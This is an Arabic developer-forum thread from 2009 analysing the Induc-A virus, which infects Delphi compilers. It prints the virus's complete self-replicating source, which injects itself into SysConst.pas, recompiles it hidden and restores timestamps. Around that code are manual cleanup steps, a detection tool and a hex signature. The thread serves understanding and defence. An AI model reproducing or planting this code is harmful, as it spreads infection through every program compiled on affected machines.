مشاهدة النسخة كاملة : فيروس يصيب ملفات Delphi فقط
أعلنت sophos على مدونتها الرسمية عن اكتشافها لفيروس W32/Induc-A و الذي يقوم بإصابة ملفات Delphi فقط
و أضافت إلى أن لدى تشغيل ملف مصاب بالفيروس فإنه يقوم بالبحث عن ما إذا كان delphi منصبا على الجهاز ليضيف شيفرة مصدرية إلى الملف SysConst.pas و عليه فإن كل برنامج جديد تتم ترجمته على الجهاز سيحمل معه نسخة من الفيروس
مصدر الخبر:
hxxp://www.sophos.com/blogs/sophoslabs/?p=6117
STRELiTZIA
19-08-2009, 03:26 PM
السلام عليكم و رحمة الله
آلية التلويث :
الملف الأصلي : SysConst.pas الخاص بالاصدار دلفي 7
{ ************************************************** ********************* }
{ }
{ Delphi / Kylix Cross-Platform Runtime Library }
{ }
{ Copyright (c) 1995, 2001 Borland Software Corporation }
{ }
{ ************************************************** ********************* }
unit SysConst;
interface
resourcestring
SUnknown = '<unknown>';
SInvalidInteger = '''%s'' is not a valid integer value';
SInvalidFloat = '''%s'' is not a valid floating point value';
SInvalidCurrency = '''%s'' is not a valid currency value';
SInvalidDate = '''%s'' is not a valid date';
SInvalidTime = '''%s'' is not a valid time';
SInvalidDateTime = '''%s'' is not a valid date and time';
SInvalidDateTimeFloat = '''%g'' is not a valid date and time';
SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';
SInvalidGUID = '''%s'' is not a valid GUID value';
SInvalidBoolean = '''%s'' is not a valid boolean value';
STimeEncodeError = 'Invalid argument to time encode';
SDateEncodeError = 'Invalid argument to date encode';
SOutOfMemory = 'Out of memory';
SInOutError = 'I/O error %d';
SFileNotFound = 'File not found';
SInvalidFilename = 'Invalid filename';
STooManyOpenFiles = 'Too many open files';
SAccessDenied = 'File access denied';
SEndOfFile = 'Read beyond end of file';
SDiskFull = 'Disk full';
SInvalidInput = 'Invalid numeric input';
SDivByZero = 'Division by zero';
SRangeError = 'Range check error';
SIntOverflow = 'Integer overflow';
SInvalidOp = 'Invalid floating point operation';
SZeroDivide = 'Floating point division by zero';
SOverflow = 'Floating point overflow';
SUnderflow = 'Floating point underflow';
SInvalidPointer = 'Invalid pointer operation';
SInvalidCast = 'Invalid class typecast';
{$IFDEF MSWINDOWS}
SAccessViolationArg3 = 'Access violation at address %p. %s of address %p';
{$ENDIF}
{$IFDEF LINUX}
SAccessViolationArg2 = 'Access violation at address %p, accessing address %p';
{$ENDIF}
SAccessViolationNoArg = 'Access violation';
SStackOverflow = 'Stack overflow';
SControlC = 'Control-C hit';
SQuit = 'Quit key hit';
SPrivilege = 'Privileged instruction';
SOperationAborted = 'Operation aborted';
SException = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;
SExceptTitle = 'Application Error';
{$IFDEF LINUX}
SSigactionFailed = 'sigaction call failed';
{$ENDIF}
SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';
SArgumentMissing = 'No argument for format ''%s''';
SDispatchError = 'Variant method calls not supported';
SReadAccess = 'Read';
SWriteAccess = 'Write';
SResultTooLong = 'Format result longer than 4096 characters';
SFormatTooLong = 'Format string too long';
SVarArrayCreate = 'Error creating variant or safe array';
SVarArrayBounds = 'Variant or safe array index out of bounds';
SVarArrayLocked = 'Variant or safe array is locked';
SVarArrayWithHResult = 'Unexpected variant or safe array error: %s%.8x';
SInvalidVarCast = 'Invalid variant type conversion';
SInvalidVarOp = 'Invalid variant operation';
SInvalidVarNullOp = 'Invalid NULL variant operation';
SInvalidVarOpWithHResultWithPrefix = 'Invalid variant operation (%s%.8x)'#10'%s';
SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';
SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';
SVarTypeOutOfRangeWithPrefix = 'Custom variant type (%s%.4x) is out of range';
SVarTypeAlreadyUsedWithPrefix = 'Custom variant type (%s%.4x) already used by %s';
SVarTypeNotUsableWithPrefix = 'Custom variant type (%s%.4x) is not usable';
SVarTypeTooManyCustom = 'Too many custom variant types have been registered';
// the following are not used anymore
SVarNotArray = 'Variant is not an array' deprecated; // not used, use SVarInvalid instead
SVarTypeUnknown = 'Unknown custom variant type ($%.4x)' deprecated; // not used anymore
SVarTypeOutOfRange = 'Custom variant type ($%.4x) is out of range' deprecated;
SVarTypeAlreadyUsed = 'Custom variant type ($%.4x) already used by %s' deprecated;
SVarTypeNotUsable = 'Custom variant type ($%.4x) is not usable' deprecated;
SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)' deprecated;
SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';
SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';
SVarOverflow = 'Variant overflow';
SVarInvalid = 'Invalid argument';
SVarBadType = 'Invalid variant type';
SVarNotImplemented = 'Operation not supported';
SVarOutOfMemory = 'Variant operation ran out memory';
SVarUnexpected = 'Unexpected variant error';
SVarDataClearRecursing = 'Recursion while doing a VarDataClear';
SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';
SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';
SVarDataInitRecursing = 'Recursion while doing a VarDataInit';
SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';
SVarIsEmpty = 'Variant is empty';
sUnknownFromType = 'Cannot convert from the specified type';
sUnknownToType = 'Cannot convert to the specified type';
SExternalException = 'External exception %x';
SAssertionFailed = 'Assertion failed';
SIntfCastError = 'Interface not supported';
SSafecallException = 'Exception in safecall method';
SAssertError = '%s (%s, line %d)';
SAbstractError = 'Abstract Error';
SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';
SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';
sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';
SInvalidPackageFile = 'Invalid package file ''%s''';
SInvalidPackageHandle = 'Invalid package handle';
SDuplicatePackageUnit = 'Cannot load package ''%s.'' It contains unit ''%s,''' +
'which is also contained in package ''%s''';
SOSError = 'System Error. Code: %d.'+sLineBreak+'%s';
SUnkOSError = 'A call to an OS function failed';
{$IFDEF MSWINDOWS}
SWin32Error = 'Win32 Error. Code: %d.'#10'%s' deprecated; // use SOSError
SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError
{$ENDIF}
SNL = 'Application is not licensed to use this feature';
SShortMonthNameJan = 'Jan';
SShortMonthNameFeb = 'Feb';
SShortMonthNameMar = 'Mar';
SShortMonthNameApr = 'Apr';
SShortMonthNameMay = 'May';
SShortMonthNameJun = 'Jun';
SShortMonthNameJul = 'Jul';
SShortMonthNameAug = 'Aug';
SShortMonthNameSep = 'Sep';
SShortMonthNameOct = 'Oct';
SShortMonthNameNov = 'Nov';
SShortMonthNameDec = 'Dec';
SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';
SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';
SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';
{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}
SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';
implementation
end.
STRELiTZIA
19-08-2009, 03:29 PM
الملف بعد اضافة التلويث :
SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';
SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';
SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';
{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}
SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';
implementation
uses windows; var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'ج:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]
=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;
h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:b oolean;t1,t2,t3:FILETIME;begin
ج:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle
(h);exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile
(f2,d+'pas');rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while
not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0
then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2
,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do writeln(f2,
x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar (d+'dcu'),pchar(d+'bak'
)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.
wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+ '"'+d+'pas"'),0,0,false,0,0,0,
f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+'bak'),
pchar(d+'dcu'));DeleteFile(pchar(d+'pas'));h:=Crea teFile(pchar(d+'bak'),0,0,0,3,
0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=
CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,
@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of
char; i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(
HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\ '+v+'.0'),0,KEY_READ,k)=0 then
begin i:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:='';i:=
1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+'\source\rtl\sys\SysConst'+
'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');end;RegCloseKey(k);end; end;
begin st; end.
STRELiTZIA
19-08-2009, 03:30 PM
خوارزميات التلويث :
var sc: array[1..24] of string = (
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s: string): string;
var i: integer;
begin
for i := 1 to length(s) do if s[i] = #36 then
s[i] := #39;
result := s;
end;
procedure re(s, d, e: string);
var f1, f2: textfile;
h: cardinal;
f: STARTUPINFO;
p: PROCESS_INFORMATION;
b: boolean;
t1, t2, t3: FILETIME;
begin
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h <> DWORD(-1) then
begin CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1, s);
reset(f1);
if ioresult <> 0 then
exit;
assignfile(f2, d + 'pas');
rewrite(f2);
if ioresult <> 0 then
begin closefile(f1);
exit;
end;
while not eof(f1) do
begin readln(f1, s);
writeln(f2, s);
if pos('implementation', s) <> 0 then
break;
end;
for h := 1 to 1 do
writeln(f2, sc[h]);
for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');
writeln(f2, '''' + sc[24] + ''');');
for h := 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));
fillchar(f, sizeof(f), 0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
if b then
WaitForSingleObject(p.hProcess, INFINITE);
MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));
DeleteFile(pchar(d + 'pas'));
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
GetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
SetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
end;
procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then
begin i := 255;
if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then
begin r := '';
i := 1;
while c[i] <> #0 do
begin r := r + c[i];
inc(i);
end;
re(r + '\source\rtl\sys\SysConst' + '.pas', r + '\lib\sysconst.', '"' + r + '\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
طريقة عمل الفيروس :
1- نسخ الملف SysConst.pas الأصلي من مجلد : \source\rtl\sys الى مجلد Lib.
2- اضافة الأوامر التي تم ذكرها في نفس الملف.
3- استعمال ملف dcc32.exe لانتاج ملف SysConst.dcu.
4- حذف الملف SysConst.pas المنسوخ في المجلد Lib.
----
5- عمل نسخة Backup للملف الأصلي SysConst.dcu و استبدال الأصلي بالنسخة الملوثة.
في كل مرة مع تشغل الملفات الملوثة المنتجة بدلفي يقوم الفيروس المحقون في الكود بالتحقق بعمل CreateFile على ملف SysConst.bak و في حالة وجوده لا يتم التلويث و العكس صحيح...
الاصدارات المستهدفة تخص نسخ Borland.
بالتوفيق ان شاء الله
I_Tiger
19-08-2009, 04:56 PM
يبدو لي من صنع شركة اخرى منافسة تريد تشويه صورة لغتنا العزيزة
mohfa
19-08-2009, 07:07 PM
اضافة لما قاله اخي STRELiTZIA
فال Malware يصيب و يبحث عن نسخ دلفي من 4-7 :
procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
.
.
.
hocine cheniki
19-08-2009, 07:15 PM
السلام عليكم ورحمة الله وبركاته
في الحقيقة لقد أصيب برنامج الدلفي الخاص بي بفيروس في الآونة الأخيرة ,ونجم عنه تخريب لأي برنامج أقوم به
لكن الكاسبر كان يخبرني ان البرنامج مصاب فقررت أن أفحصه وبالفعل وجدت أنه يحتوي على فيروس , ولقد ظننت أنه بسبب فتحي لآاحد المصادر المفتوحة.
http://www.delphi4arab.com/forum/showthread.php?t=1731
Unprogramme
19-08-2009, 09:30 PM
الله يجزيك خيرا ،
و أنا أيضا أصبت بهذا الداء ،
لكن ما هو الحل ؟
- هل هو إعادة تنصيب دلفي ؟ أم ما هو العمل ؟
مرة أخرى بارك الله فيك على المعلومة.
Goblin
20-08-2009, 07:36 AM
و أنا أيضا أصبت بهذا الداء ،
لكن ما هو الحل ؟
Kaspersky 2010 كفيل بعمل Disinfect (ازالة الفيروس دون مسح البرنامج).
STRELiTZIA
20-08-2009, 12:13 PM
الله يجزيك خيرا ،
و أنا أيضا أصبت بهذا الداء ،
لكن ما هو الحل ؟
- هل هو إعادة تنصيب دلفي ؟ أم ما هو العمل ؟
مرة أخرى بارك الله فيك على المعلومة.
السلام عليكم و رحمة الله
التنظيف يكون على مرحلتين :
المرحلة الأولى :
1- حذف ملف SysConst.dcu من المجلد Lib
2- نسخ ملف SysConst.bak و اعادة تسمية النسخة الى SysConst.dcu
3- الاحتفاظ بالنسخة SysConst.bak لكي لا يتم اعادة تلويث المجلد من جديد.
المرحلة الثانية :
1- حذف كل الملفات التنفيذية التي عملتها بنسخة دلفي الملوثة و اعادة عمل Complie للمشاريع التي تخصها.
2- ايضا احذف الملفات التجريبية - المنتجة بدلفي- التي حملت من النت و احتفظ فقط بالملفات المصدرية.
لتفادي هذه المراحل :rtfm3: يمكنك عمل update لمضاد الفيروسات و فحص جهازك.
عندي حدس ان النسخ الجديدة من هذا الفيروس ستكون اكثر شراسة مثل حذف كل الملفات المصدرية من الجهاز في اول تلويث، و يكون الضرر كبير....
ايضا ستكون نسخ جديدة من الفيروس من هنا و هناك بشكل فوضاوي نظرا لفكرة التلويث السهلة و في متناول كل صانع فيروسات مبدئ...
بالتوفيق ان شاء الله
Unprogramme
20-08-2009, 02:28 PM
جزاك الله خيرا ،و حفظنا الله و إياكم من كل سوء
STRELiTZIA
20-08-2009, 02:51 PM
السلام عليكم و رحمة الله
المرفق يحتوي على اداة بدائية تكشف الكود الخبيث للفيروس...
اسم الأداة : SlugMRT :happy:
هذا الاصدار يكشف الملفات الملوثة الغير مضغوطة ... يعمل على النسخة الحالية للفيروس و لا يقوم بالتنظيف...
بالتوفيق ان شاء الله
moh38
20-08-2009, 03:41 PM
نعم وللاسف هذا الفيروس اصاب لي ملفات تنفيذية مصنوعة بدلفي 07 ومنها النسخة التي في هذا المنتدى
فقانم مصاد الفيروسات avast 4.8 مع آخر التحديثات بحذفها كلها
وللمزيد لمعرفة هذا الفيروس انظر ما كتب في موقع لشركة ميكروسوفت
http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Virus%3AWin32%2FInduc.A&ThreatID=-2147339668
وشكرا
moh38
20-08-2009, 04:14 PM
واليكم مواقع لمضادات الفيروسات تتكلم عن هذا الفيروس المكتشف حديثا
http://news.bitdefender.com/NW1116-en--BitDefender-Finds-Win32.Induc.A-Puts-Delphi-Compilers-at-Risk-and-Compromises-Legitimate-Applications.html
http://blog.avast.com/2009/08/19/win32induc-new-concept-of-file-infector/
http://www.viruslist.com/en/weblog?weblogid=208187826
وكأن المستهدف هو المبرمجين بلغة دلفي خاصة بعد بيع شركة بورلندا كمااعلن في احد المواقع على ذلك
وشكرا
STRELiTZIA
20-08-2009, 05:55 PM
وكأن المستهدف هو المبرمجين بلغة دلفي خاصة بعد بيع شركة بورلندا كمااعلن في احد المواقع على ذلك
لا اظن ذلك لان الفيروس لا يعمل اي شئ ضار، حتى انه يترك الملف الأصلي دون اي تلويث...
الشئ المهم هو ان مصمم الفيروس اكتشف ثغرة و استغلها في تكاثر الفيروس فقط و تلويث اجهزة اخرى بهذه الطريقة الفعالة...
صادفت شركة اجنبية خاصة قامت بتحديث مكوناتها الملوثة بصمت بعد اصابتها بهذا الفيروس امس مساءا دون اعلام زبائنها...
الفيروس بهذه الصورة لم يعمل اي شئ يضر الجهاز الملوث، لانه كان باستطاعته اضافة امر بسيط يقوم بحذف كل الملفات المصدرية في الجهاز المصاب...
دراسة طريقة انتشاره فرصة يجب على كل مبرمج اغتنامها لانه بعد ايام يكون الموضوع منتهي :)
mohfa
20-08-2009, 09:42 PM
ياخي STRELiTZIA اظنك تستعمل هاته البصمة في اداتك :
43726561746546696c6528706368617228642b2462616b2429 2c302c302c302c332c302c3029
اذن حظر نفسك لاستعمال ال WildCards في الايام المقبلة ....
جيد جدا انك قمت ببرمجة هاته الاداة و التي كنت سوف ابرمجها بعد طلب من بعض الاخوة الان سوف ارسلهم الى هذا الرابط لتحميلها و استعمالها ....
**
سوف ارسل لك على الخاص شئ مهم يمكن ان تظيفه لاداتك وسوف تساعد باذن الله..
اخوك محمد
Delphawi
21-08-2009, 06:41 PM
السلام عليكم و رحمة الله
التنظيف يكون على مرحلتين :
المرحلة الأولى :
1- حذف ملف SysConst.dcu من المجلد bin
2- نسخ ملف SysConst.bak و اعادة تسمية النسخة الى SysConst.dcu
3- الاحتفاظ بالنسخة SysConst.bak لكي لا يتم اعادة تلويث المجلد من جديد.
بالتوفيق ان شاء الله
هذه الملفات موجودة عندي في مجلد Lib وليس bin .. فهل هي ملفات مختلفة عن الملفات التي يصيبها الفايروس ؟؟
STRELiTZIA
21-08-2009, 07:38 PM
السلام عليكم و رحمة الله
هذه الملفات موجودة عندي في مجلد Lib وليس bin .. فهل هي ملفات مختلفة عن الملفات التي يصيبها الفايروس ؟؟
المجلد الذي اتحدث عنه هو Lib و ليس bin خطأ مطبعي :monster2:
افحص بالأداة ملف SysConst.dcu او اي ملف تنفيذي قمت بعمله و اخبرنا بالنتيجة...
بالتوفيق ان شاء الله
mohfa
21-08-2009, 09:58 PM
او يمكن استعمال الاداة التالية
ماتقوم به الاداة هو عمل حماية قبل التلويث ...
بحيث تقوم بتالي :
عمل Backup لملف ال SysConst.pas في نفس المجلد :
\Source\RTL\Sys\
وهو SysConst.pas_bak ..
فاذا تم تلويث ملف ال SysConst.pas فانه في كل مرة يتم عمل Compile باستعمال هاته الوحدة الملوثة ستظهر رسالة تخبرك بانه يتم استعمال الوجدة الملوثة و ليست ال Clean .
المتطلبات : يجب ان تكون الوجدة SysConst.pas نظيفة .
****
ملاحظة هامة : الاداة تنشئ وحدة جديدة اسمها SysConst_Chk.pas تكون في المسار :
Lib\
****
والله المستعان .
STRELiTZIA
22-08-2009, 07:55 AM
السلام عليكم و رحمة الله
اداة جميلة اخي mohfa بارك الله فيك :)
----
سياسة شركات مضادات الفيروسات في محاولة السبق في تصنيف البرامج الضارة.
تقول شركة Sophos انها اكتشفت نسخة جديدة من الفيروس و تم تسميتها : Mal/Induc-B
و الغريب ان النسخة المتحدث عنها هي الملف الأصلي SysConst.pas بعد التلويث و قبل الــ compilation الذي تم اضافة الكود الخبيث اليه... لينتج الملف SysConst.dcu المصنف : Mal/Induc-A
يعني لا يوجد جديد فعلا... هي فقط مراوغة و تشهير للشركة...
و هذه نتيجة التحليل الذي ارسلته الي Virus Total
و العجيب ان 3 من 41 شركة تكتشف الملف الملوث في هذه الدقيقة... مع انه ملف نشأ في نفس الوقت مع الفيروس...
http://www.virustotal.com/fr/analisis/62164e6ae8d4c65b09a3f8a88b9be5969012cc3b40d1174764 6e3bf5a22e4668-1250917575
يعني بهذه السياسة سنحصل على ثلاثة تصنيفات في الأيام القادمة...
تصنيف ملف DCU
تصنيف ملف PAS
تصنيف ملف PE EXECUTABLE
عدم تحدث شركات الحماية على ملف PAS الملوث من قبل راجع الى ان الفيروس يحذف الملف المعدل - الملوث - بعد عمل الــ Compilation
حدث نفس الشئ من قبل مع فيروس Tazebama حيث ان الملف المصنف و الذي تكشفه برامج الحماية مضغوط و Polymorphic Packed و بعد عمل Unpacking للملف المضغوط لم يتم التعرف عليه حينها، حتى تم ارسال النسخة لشركة Kaspersky Lab و بعدها تم اضافة بصمته مع التحديثات...
المرفق ملف SysConst.pas الملوث... جربوا عليه مضادات البرامج الضارة التي تحبون
ملاحظة : اداة SlugMRT تتعرف على ملف PAS الملوث دون اضافة اي بصمة اضافية...
بالتوفيق ان شاء الله
B.M.AbdelAziZ
23-08-2009, 11:24 AM
الفيروس جميل جدا
مثل الفيروسات القديمة التي تنتقل دون احداث اي ضرر
بالنسبة للفكرة فهي ليس جديدة تماما
واقصد فكرة انتشار فيروس بشكل ملفات مصدرية
من اطلع على بعض المصادر :rtfm2: يعرف هذا...
STRELiTZIA
24-08-2009, 11:14 AM
السلام عليكم و رحمة الله
الشئ الذي اعجبني و اقدره كثيرا جدا هو الصيني الذي عمل على صناعة مكتبة تتيح لدلفي كسر الحكر في برمجة الدرايفرات... و نشرها مع ملفاتها المصدرية...
لهذا و بناء على طلب الاخوة الأعضاء و اعضاء اجانب اطرح لكم السورس كود للأداة SlugMRT.
المرفق الاصدار الآول...
الاصدار الثاني سوف ينشر خلال ايام قليلة ان شاء الله.
الخصائص الجديدة:
1- يبحث في كل الجهاز.
2- ينظف الملفات التنفيذية و المصدرية المصابة.
بالتوفيق ان شاء الله
musvc
24-08-2009, 11:43 AM
رائع !
الأن اصبح الأمر واضح :)
ننتضر الأصدار الجديد !
B.M.AbdelAziZ
25-08-2009, 03:20 AM
رد امباركاديرو الرسمي حول الفيروس
http://edn.embarcadero.com/article/39851
AL-MOB4RM3G
25-08-2009, 08:56 AM
اخوآني الكرام,, فيروس عجيب سبحان الله,, ما فآئدته ؟
يعني اقصد هو لا يقوم بعمل اي ضرر,, طيب ما الفآئدة منه ؟
ومن ورآئه ؟
على كل حال اخوآني الكرآم انا استخدم دلفي 2099,, هل يعني هذا انني آمن ؟
وان كان هذا صحيح فهذا جيد جدا,, :)
بارك الله لكم جميعا
